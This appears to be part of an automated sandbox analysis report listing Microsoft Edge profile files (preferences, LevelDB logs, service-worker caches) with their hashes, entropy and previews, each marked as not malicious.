Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3b0e2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3ba68.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\de9b85df-da1c-4e5d-9dd1-08ea9ecef0f1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1484
Entropy (8bit):	5.304900796031115
Encrypted:	false
SSDEEP:	24:YcCp/WwFGJ/I3RdsFqZVMdmRdsFrZFRudFGRw6C1E6maPsRdspZC52HUQYhbA7n+:YcCpfgCzsFOtsFlfc7akEsfCgH5Yhbj
MD5:	423A0DF65C636CA9CB44EB6E6A6606DD
SHA1:	61627CFD1C14D910F8CC24BAD20DD4971AB5E1CD
SHA-256:	1D48CF7D2B62BEE7CBDA8C168BB6B5BCC92F1D5546DB32E108013811F5D1117B
SHA-512:	FA192E93359DD2C8A69E9DDC795CAF6E81F5538F7FAC5044DEE146CE360C216A71A9C07F6AD651821845123A799806237A7B649AFFFD57910E71591B85D3ED9E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377350729685169","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377350732352965","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczo

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9863
Entropy (8bit):	5.108632942144561
Encrypted:	false
SSDEEP:	192:sthkdplsP0aFvrE9k/sI88sbV+FII0QAfpUDPjYJ:sthQlsP0CDQbGIrQyKE
MD5:	F5257EFA0D6E98E176BFEE7803669CAE
SHA1:	98D52646739B5D25CCE6E8A95FF708EF23AAD6D2
SHA-256:	CBD357652A5AE7359C27703CCF343A8E9EE1072BACC38C9C1A41D7F443B6BA8A
SHA-512:	2F8EAC26883980656AAB0CD75AF002DA7A3C9559BA2F0C5F328A1FD6E3C92FDF29682446ACDDFF337AD826B4E1D6F7EA1E3E7CD646AAC96791A219E9C4A0B3DB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374758727736641","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3ec55.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9863
Entropy (8bit):	5.108632942144561
Encrypted:	false
SSDEEP:	192:sthkdplsP0aFvrE9k/sI88sbV+FII0QAfpUDPjYJ:sthQlsP0CDQbGIrQyKE
MD5:	F5257EFA0D6E98E176BFEE7803669CAE
SHA1:	98D52646739B5D25CCE6E8A95FF708EF23AAD6D2
SHA-256:	CBD357652A5AE7359C27703CCF343A8E9EE1072BACC38C9C1A41D7F443B6BA8A
SHA-512:	2F8EAC26883980656AAB0CD75AF002DA7A3C9559BA2F0C5F328A1FD6E3C92FDF29682446ACDDFF337AD826B4E1D6F7EA1E3E7CD646AAC96791A219E9C4A0B3DB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374758727736641","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF428e1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9863
Entropy (8bit):	5.108632942144561
Encrypted:	false
SSDEEP:	192:sthkdplsP0aFvrE9k/sI88sbV+FII0QAfpUDPjYJ:sthQlsP0CDQbGIrQyKE
MD5:	F5257EFA0D6E98E176BFEE7803669CAE
SHA1:	98D52646739B5D25CCE6E8A95FF708EF23AAD6D2
SHA-256:	CBD357652A5AE7359C27703CCF343A8E9EE1072BACC38C9C1A41D7F443B6BA8A
SHA-512:	2F8EAC26883980656AAB0CD75AF002DA7A3C9559BA2F0C5F328A1FD6E3C92FDF29682446ACDDFF337AD826B4E1D6F7EA1E3E7CD646AAC96791A219E9C4A0B3DB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374758727736641","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF450bc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9863
Entropy (8bit):	5.108632942144561
Encrypted:	false
SSDEEP:	192:sthkdplsP0aFvrE9k/sI88sbV+FII0QAfpUDPjYJ:sthQlsP0CDQbGIrQyKE
MD5:	F5257EFA0D6E98E176BFEE7803669CAE
SHA1:	98D52646739B5D25CCE6E8A95FF708EF23AAD6D2
SHA-256:	CBD357652A5AE7359C27703CCF343A8E9EE1072BACC38C9C1A41D7F443B6BA8A
SHA-512:	2F8EAC26883980656AAB0CD75AF002DA7A3C9559BA2F0C5F328A1FD6E3C92FDF29682446ACDDFF337AD826B4E1D6F7EA1E3E7CD646AAC96791A219E9C4A0B3DB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374758727736641","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4adc1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9863
Entropy (8bit):	5.108632942144561
Encrypted:	false
SSDEEP:	192:sthkdplsP0aFvrE9k/sI88sbV+FII0QAfpUDPjYJ:sthQlsP0CDQbGIrQyKE
MD5:	F5257EFA0D6E98E176BFEE7803669CAE
SHA1:	98D52646739B5D25CCE6E8A95FF708EF23AAD6D2
SHA-256:	CBD357652A5AE7359C27703CCF343A8E9EE1072BACC38C9C1A41D7F443B6BA8A
SHA-512:	2F8EAC26883980656AAB0CD75AF002DA7A3C9559BA2F0C5F328A1FD6E3C92FDF29682446ACDDFF337AD826B4E1D6F7EA1E3E7CD646AAC96791A219E9C4A0B3DB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374758727736641","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.558123180249469
Encrypted:	false
SSDEEP:	768:7HFNHCWkO7pLGLpsVW5woyf4p08F1+UoAYDCx9Tuqh0VfUC9xbog/OVP6iIZG1Pn:7lZCDOcpsVWaoyfg0u1jaPB28AtT
MD5:	7843C67663ACA01A9255D94D8EFF1771
SHA1:	7803669A70ED951C3992CAA4D42D924AC218B406
SHA-256:	DDA9DC755F81B22F6696ADCFDD9BC6D768039D7445D0DEB6E03596C37DDEF659
SHA-512:	484626B91B40CE9E3C26F7D5E7679B0E958B8D667E23C1004D16C8BAAD3F3F215BDFFB31C5695E7E08043635C736B48B1BF8CC849F2337FDAC9587F40FD19D12
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374758727087623","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374758727087623","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3ec84.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.558123180249469
Encrypted:	false
SSDEEP:	768:7HFNHCWkO7pLGLpsVW5woyf4p08F1+UoAYDCx9Tuqh0VfUC9xbog/OVP6iIZG1Pn:7lZCDOcpsVWaoyfg0u1jaPB28AtT
MD5:	7843C67663ACA01A9255D94D8EFF1771
SHA1:	7803669A70ED951C3992CAA4D42D924AC218B406
SHA-256:	DDA9DC755F81B22F6696ADCFDD9BC6D768039D7445D0DEB6E03596C37DDEF659
SHA-512:	484626B91B40CE9E3C26F7D5E7679B0E958B8D667E23C1004D16C8BAAD3F3F215BDFFB31C5695E7E08043635C736B48B1BF8CC849F2337FDAC9587F40FD19D12
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374758727087623","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374758727087623","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF4242e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.558123180249469
Encrypted:	false
SSDEEP:	768:7HFNHCWkO7pLGLpsVW5woyf4p08F1+UoAYDCx9Tuqh0VfUC9xbog/OVP6iIZG1Pn:7lZCDOcpsVWaoyfg0u1jaPB28AtT
MD5:	7843C67663ACA01A9255D94D8EFF1771
SHA1:	7803669A70ED951C3992CAA4D42D924AC218B406
SHA-256:	DDA9DC755F81B22F6696ADCFDD9BC6D768039D7445D0DEB6E03596C37DDEF659
SHA-512:	484626B91B40CE9E3C26F7D5E7679B0E958B8D667E23C1004D16C8BAAD3F3F215BDFFB31C5695E7E08043635C736B48B1BF8CC849F2337FDAC9587F40FD19D12
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374758727087623","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374758727087623","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.839916753981199
Encrypted:	false
SSDEEP:	24:F2xc5Nmttocncmo0CRORpllg2DpfRH2VdCRORpllg20HLEgKCRORpllg2DURH2+t:F2emHZtrdDpfB4Xrd0HLwrdDUBprdzBN
MD5:	F76FE6B1558F78636D257F91307BEA9C
SHA1:	7DF054D3E42A8AE9D72E21476EEA06A99241E7D7
SHA-256:	79CF2631BAF3E0B131B9ED922F38AA8ECBDC5FA6D2919296DB25B92C2515EF30
SHA-512:	FE316AC8AF09241007AA2DBFA899601F3C57CCAE3C6153C17C67E5CE5F72CF85520637DCD5F71D468068DBD8CF6C988D9330C0490D6284CC2678443734A5998B
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2.$.\m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.131427749570905
Encrypted:	false
SSDEEP:	6:65G03M1N723oH+TcwtE/a252KLlg5hOq2PN723oH+TcwtE/a2ZIFUv:6803saYeb8xLCevVaYeb8J2FUv
MD5:	EB51166147D635A6D476F91ED1440960
SHA1:	311974EB411145871BF20FDAAA6523D0E0569376
SHA-256:	EDD45382291562D2F44448DEB3DB76428CEC7F366B6989D8E3E9FD35962BD673
SHA-512:	5EDF8DBC84E0FD643F945AE6498D8BA9BEB759B33487E30A4BDBC0DFF86650C63593455EDEB53A0392912F79D0F063F8E4C8C02A760EBD88FE09004DA4CA4348
Malicious:	false
Preview:	2024/10/30-06:45:41.197 1da4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/10/30-06:45:41.215 1da4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	113318
Entropy (8bit):	5.57860226186356
Encrypted:	false
SSDEEP:	1536:UU906yxPXfOxr1lhCe1A46rCjQ3NG/Gv5eIZBijL/r4L/rAJI:59LyxPXfOxr1lMe1Z6rFl8+AL/ML/t
MD5:	F7AB815AFB2BC3AFD3BA2DD2AEC3FC12
SHA1:	184863944F7BFF1D636C4F1E4598A5793C388A9F
SHA-256:	C30169D63242F7F3192B3EBC7DE58DD97DA425D99BBBF1C37B1634432309F5CB
SHA-512:	706371B0B6C167AD8C95BEBB282008970A71586A308246DEE6E8ADD78214CCC3B5921BC34987A6B48A747D9CF76ED1363F76DE5072AD60964CD0BA0A612EB8AA
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	187433
Entropy (8bit):	6.380647837180421
Encrypted:	false
SSDEEP:	3072:ByloSw3O7r9HSbpwl2K+xFLtYN0EumOv3RmHLuDCMDL/YqQ5Do:YIbpwlExYuZRmrupDL/uu
MD5:	C7883625B0624B8A139BE24B26B77049
SHA1:	C6093CC0433BE1293D2E4200EF4461E456BAF1AF
SHA-256:	723B32F597760DDAC9CFA6934D712DF701E83394DFDB0F4A7568099806156094
SHA-512:	15C89D128557DC53053BDD7D5C7CEA6E1AD64148235275EB321B3EAFBB66459486246D21D01848829BA8695665D6236487E54305972B3F62C33C5FA95A274394
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R.......yT.........,T.8..`,.....L`.....,T...`......L`......Rc........exports...Rc:._.....module....Rc........define....Rbr.U.....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v.....................".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m..+Cb...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....Q...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
